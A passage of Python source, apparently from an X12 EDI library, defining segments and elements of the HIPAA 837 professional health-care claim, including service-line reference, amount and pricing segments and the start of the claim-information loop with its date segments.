codes=["454"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"QTY",
Properties(
desc="Ambulance Patient Count",
position="4600",
repeat="1",
req_sit="S",
syntax="E0204 R0204",
),
Element(
"QTY01",
Properties(
desc="Quantity Qualifier",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["PT"],
),
),
Element(
"QTY02",
Properties(
desc="Quantity",
req_sit="R",
data_type=("R", "1", "15"),
position=2,
codes=[],
),
),
Composite(
"C001",
Properties(
desc="Composite Unit of Measure",
refdes="",
repeat="",
req_sit="N",
seq="03",
),
),
Element(
"QTY04",
Properties(
desc="Free-form Information",
req_sit="N",
data_type=("AN", "1", "30"),
position=4,
codes=[],
),
),
),
Segment(
"QTY",
Properties(
desc="Obstetric Anesthesia Additional Units",
position="4600",
repeat="1",
req_sit="S",
syntax="E0204 R0204",
),
Element(
"QTY01",
Properties(
desc="Quantity Qualifier",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["FL"],
),
),
Element(
"QTY02",
Properties(
desc="Quantity",
req_sit="R",
data_type=("R", "1", "15"),
position=2,
codes=[],
),
),
Composite(
"C001",
Properties(
desc="Composite Unit of Measure",
refdes="",
repeat="",
req_sit="N",
seq="03",
),
),
Element(
"QTY04",
Properties(
desc="Free-form Information",
req_sit="N",
data_type=("AN", "1", "30"),
position=4,
codes=[],
),
),
),
Segment(
"MEA",
Properties(
desc="Test Result",
position="4620",
repeat="5",
req_sit="S",
syntax="R03050608 L050412 L060412 L07030506 E0803 P1112",
),
Element(
"MEA01",
Properties(
desc="Measurement Reference ID Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["OG", "TR"],
),
),
Element(
"MEA02",
Properties(
desc="Measurement Qualifier",
req_sit="R",
data_type=("ID", "1", "3"),
position=2,
codes=["HT", "R1", "R2", "R3", "R4"],
),
),
Element(
"MEA03",
Properties(
desc="Measurement Value",
req_sit="R",
data_type=("R", "1", "20"),
position=3,
codes=[],
),
),
Composite(
"C001",
Properties(
desc="Composite Unit of Measure",
refdes="",
repeat="",
req_sit="N",
seq="04",
),
),
Element(
"MEA05",
Properties(
desc="Range Minimum",
req_sit="N",
data_type=("R", "1", "20"),
position=5,
codes=[],
),
),
Element(
"MEA06",
Properties(
desc="Range Maximum",
req_sit="N",
data_type=("R", "1", "20"),
position=6,
codes=[],
),
),
Element(
"MEA07",
Properties(
desc="Measurement Significance Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=7,
codes=[],
),
),
Element(
"MEA08",
Properties(
desc="Measurement Attribute Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=8,
codes=[],
),
),
Element(
"MEA09",
Properties(
desc="Surface/Layer/Position Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=9,
codes=[],
),
),
Element(
"MEA10",
Properties(
desc="Measurement Method or Device",
req_sit="N",
data_type=("ID", "2", "4"),
position=10,
codes=[],
),
),
Element(
"MEA11",
Properties(
desc="Code List Qualifier Code",
req_sit="N",
data_type=("ID", "1", "3"),
position=11,
codes=[],
),
),
Element(
"MEA12",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=12,
codes=[],
),
),
),
Segment(
"CN1",
Properties(
desc="Contract Information",
position="4650",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"CN101",
Properties(
desc="Contract Type Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["01", "02", "03", "04", "05", "06", "09"],
),
),
Element(
"CN102",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"CN103",
Properties(
desc="Percent, Decimal Format",
req_sit="S",
data_type=("R", "1", "6"),
position=3,
codes=[],
),
),
Element(
"CN104",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=4,
codes=[],
),
),
Element(
"CN105",
Properties(
desc="Terms Discount Percent",
req_sit="S",
data_type=("R", "1", "6"),
position=5,
codes=[],
),
),
Element(
"CN106",
Properties(
desc="Version Identifier",
req_sit="S",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Repriced Line Item Reference Number",
position="4700",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["9B"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Adjusted Repriced Line Item Reference Number",
position="4700",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["9D"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Prior Authorization",
position="4700",
repeat="5",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["G1"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="S", seq="04"
),
Element(
"REF04-01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=0,
codes=["2U"],
),
),
Element(
"REF04-02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=1,
codes=[],
),
),
Element(
"REF04-03",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"REF04-04",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"REF04-05",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"REF04-06",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=5,
codes=[],
),
),
),
),
Segment(
"REF",
Properties(
desc="Line Item Control Number",
position="4700",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["6R"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Mammography Certification Number",
position="4700",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["EW"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Clinical Laboratory Improvement Amendment (CLIA) Number",
position="4700",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["X4"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Referring Clinical Laboratory Improvement Amendment (CLIA) Facility Identification",
position="4700",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["F4"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Immunization Batch Number",
position="4700",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["BT"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Referral Number",
position="4700",
repeat="5",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["9F"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="S", seq="04"
),
Element(
"REF04-01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=0,
codes=["2U"],
),
),
Element(
"REF04-02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=1,
codes=[],
),
),
Element(
"REF04-03",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"REF04-04",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"REF04-05",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"REF04-06",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=5,
codes=[],
),
),
),
),
Segment(
"AMT",
Properties(
desc="Sales Tax Amount", position="4750", repeat="1", req_sit="S", syntax=""
),
Element(
"AMT01",
Properties(
desc="Amount Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=1,
codes=["T"],
),
),
Element(
"AMT02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"AMT03",
Properties(
desc="Credit/Debit Flag Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=3,
codes=[],
),
),
),
Segment(
"AMT",
Properties(
desc="Postage Claimed Amount",
position="4750",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"AMT01",
Properties(
desc="Amount Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=1,
codes=["F4"],
),
),
Element(
"AMT02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"AMT03",
Properties(
desc="Credit/Debit Flag Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=3,
codes=[],
),
),
),
Segment(
"K3",
Properties(
desc="File Information",
position="4800",
repeat="10",
req_sit="S",
syntax="",
),
Element(
"K301",
Properties(
desc="Fixed Format Information",
req_sit="R",
data_type=("AN", "1", "80"),
position=1,
codes=[],
),
),
Element(
"K302",
Properties(
desc="Record Format Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=2,
codes=[],
),
),
Composite(
"C001",
Properties(
desc="Composite Unit of Measure",
refdes="",
repeat="",
req_sit="N",
seq="03",
),
),
),
Segment(
"NTE",
Properties(
desc="Line Note", position="4850", repeat="1", req_sit="S", syntax=""
),
Element(
"NTE01",
Properties(
desc="Note Reference Code",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["ADD", "DCP"],
),
),
Element(
"NTE02",
Properties(
desc="Description",
req_sit="R",
data_type=("AN", "1", "80"),
position=2,
codes=[],
),
),
),
Segment(
"NTE",
Properties(
desc="Third Party Organization Notes",
position="4850",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"NTE01",
Properties(
desc="Note Reference Code",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["TPO"],
),
),
Element(
"NTE02",
Properties(
desc="Description",
req_sit="R",
data_type=("AN", "1", "80"),
position=2,
codes=[],
),
),
),
Segment(
"PS1",
Properties(
desc="Purchased Service Information",
position="4880",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"PS101",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=1,
codes=[],
),
),
Element(
"PS102",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"PS103",
Properties(
desc="State or Province Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=3,
codes=[],
),
),
),
Segment(
"HCP",
Properties(
desc="Line Pricing/Repricing Information",
position="4920",
repeat="1",
req_sit="S",
syntax="R0113 P0910 P1112",
),
Element(
"HCP01",
Properties(
desc="Pricing Methodology",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=[
"00",
"01",
"02",
"03",
"04",
"05",
"06",
"07",
"08",
"09",
"10",
"11",
"12",
"13",
"14",
],
),
),
Element(
"HCP02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"HCP03",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=3,
codes=[],
),
),
Element(
"HCP04",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=4,
codes=[],
),
),
Element(
"HCP05",
Properties(
desc="Rate",
req_sit="S",
data_type=("R", "1", "9"),
position=5,
codes=[],
),
),
Element(
"HCP06",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=6,
codes=[],
),
),
Element(
"HCP07",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=7,
codes=[],
),
),
Element(
"HCP08",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=8,
codes=[],
),
),
Element(
"HCP09",
Properties(
desc="Product/Service ID Qualifier",
req_sit="S",
data_type=("ID", "2", "2"),
position=9,
codes=["ER", "HC", "IV", "WK"],
),
),
Element(
"HCP10",
Properties(
desc="Product/Service ID",
req_sit="S",
data_type=("AN", "1", "48"),
position=10,
codes=[],
),
),
Element(
"HCP11",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=11,
codes=["MJ", "UN"],
),
),
Element(
"HCP12",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=12,
codes=[],
),
),
Element(
"HCP13",
Properties(
desc="Reject Reason Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=13,
codes=["T1", "T2", "T3", "T4", "T5", "T6"],
),
),
Element(
"HCP14",
Properties(
desc="Policy Compliance Code",
req_sit="S",
data_type=("ID", "1", "2"),
position=14,
codes=["1", "2", "3", "4", "5"],
),
),
Element(
"HCP15",
Properties(
desc="Exception Code",
req_sit="S",
data_type=("ID", "1", "2"),
position=15,
codes=["1", "2", "3", "4", "5", "6"],
),
),
),
parsed_837_2410,
parsed_837_2420A,
parsed_837_2420B,
parsed_837_2420C,
parsed_837_2420D,
parsed_837_2420E,
parsed_837_2420F,
parsed_837_2420G,
parsed_837_2420H,
parsed_837_2430,
parsed_837_2440,
)
parsed_837_2300 = Loop(
"2300",
Properties(
desc="Claim Information",
looptype="",
position="1300",
repeat="100",
req_sit="S",
),
Segment(
"CLM",
Properties(
desc="Claim Information",
position="1300",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"CLM01",
Properties(
desc="Claim Submitter's Identifier",
req_sit="R",
data_type=("AN", "1", "38"),
position=1,
codes=[],
),
),
Element(
"CLM02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"CLM03",
Properties(
desc="Claim Filing Indicator Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=3,
codes=[],
),
),
Element(
"CLM04",
Properties(
desc="Non-Institutional Claim Type Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=4,
codes=[],
),
),
Composite(
"C023",
Properties(
desc="Health Care Service Location Information",
refdes="",
repeat="",
req_sit="R",
seq="05",
),
Element(
"CLM05-01",
Properties(
desc="Facility Code Value",
req_sit="R",
data_type=("AN", "1", "2"),
position=0,
codes=[],
),
),
Element(
"CLM05-02",
Properties(
desc="Facility Code Qualifier",
req_sit="R",
data_type=("ID", "1", "2"),
position=1,
codes=["B"],
),
),
Element(
"CLM05-03",
Properties(
desc="Claim Frequency Type Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=[],
),
),
),
Element(
"CLM06",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=6,
codes=["N", "Y"],
),
),
Element(
"CLM07",
Properties(
desc="Provider Accept Assignment Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=7,
codes=["A", "B", "C"],
),
),
Element(
"CLM08",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=8,
codes=["N", "W", "Y"],
),
),
Element(
"CLM09",
Properties(
desc="Release of Information Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=9,
codes=["I", "Y"],
),
),
Element(
"CLM10",
Properties(
desc="Patient Signature Source Code",
req_sit="S",
data_type=("ID", "1", "1"),
position=10,
codes=["P"],
),
),
Composite(
"C024",
Properties(
desc="Related Causes Information",
refdes="",
repeat="",
req_sit="S",
seq="11",
),
Element(
"CLM11-01",
Properties(
desc="Related-Causes Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=0,
codes=["AA", "EM", "OA"],
),
),
Element(
"CLM11-02",
Properties(
desc="Related-Causes Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=1,
codes=["AA", "EM", "OA"],
),
),
Element(
"CLM11-03",
Properties(
desc="Related-Causes Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"CLM11-04",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=3,
codes=[],
),
),
Element(
"CLM11-05",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
),
Element(
"CLM12",
Properties(
desc="Special Program Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=12,
codes=["02", "03", "05", "09"],
),
),
Element(
"CLM13",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=13,
codes=[],
),
),
Element(
"CLM14",
Properties(
desc="Level of Service Code",
req_sit="N",
data_type=("ID", "1", "3"),
position=14,
codes=[],
),
),
Element(
"CLM15",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=15,
codes=[],
),
),
Element(
"CLM16",
Properties(
desc="Provider Agreement Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=16,
codes=[],
),
),
Element(
"CLM17",
Properties(
desc="Claim Status Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=17,
codes=[],
),
),
Element(
"CLM18",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=18,
codes=[],
),
),
Element(
"CLM19",
Properties(
desc="Claim Submission Reason Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=19,
codes=[],
),
),
Element(
"CLM20",
Properties(
desc="Delay Reason Code",
req_sit="S",
data_type=("ID", "1", "2"),
position=20,
codes=["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "15"],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Onset of Current Illness or Symptom",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["431"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Initial Treatment Date",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["454"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Last Seen Date",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["304"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Acute Manifestation",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["453"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Accident", position="1350", repeat="1", req_sit="S", syntax=""
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["439"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Last Menstrual Period",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["484"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Last X-ray Date",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["455"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Hearing and Vision Prescription Date",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["471"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Disability Dates",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["314", "360", "361"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8", "RD8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Last Worked",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["297"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Authorized Return to Work",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["296"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Admission", position="1350", repeat="1", req_sit="S", syntax=""
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["435"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Discharge", position="1350", repeat="1", req_sit="S", syntax=""
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["096"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Assumed and Relinquished Care Dates",
position="1350",
repeat="2",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["090", "091"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Property and Casualty Date of First Contact",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["444"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
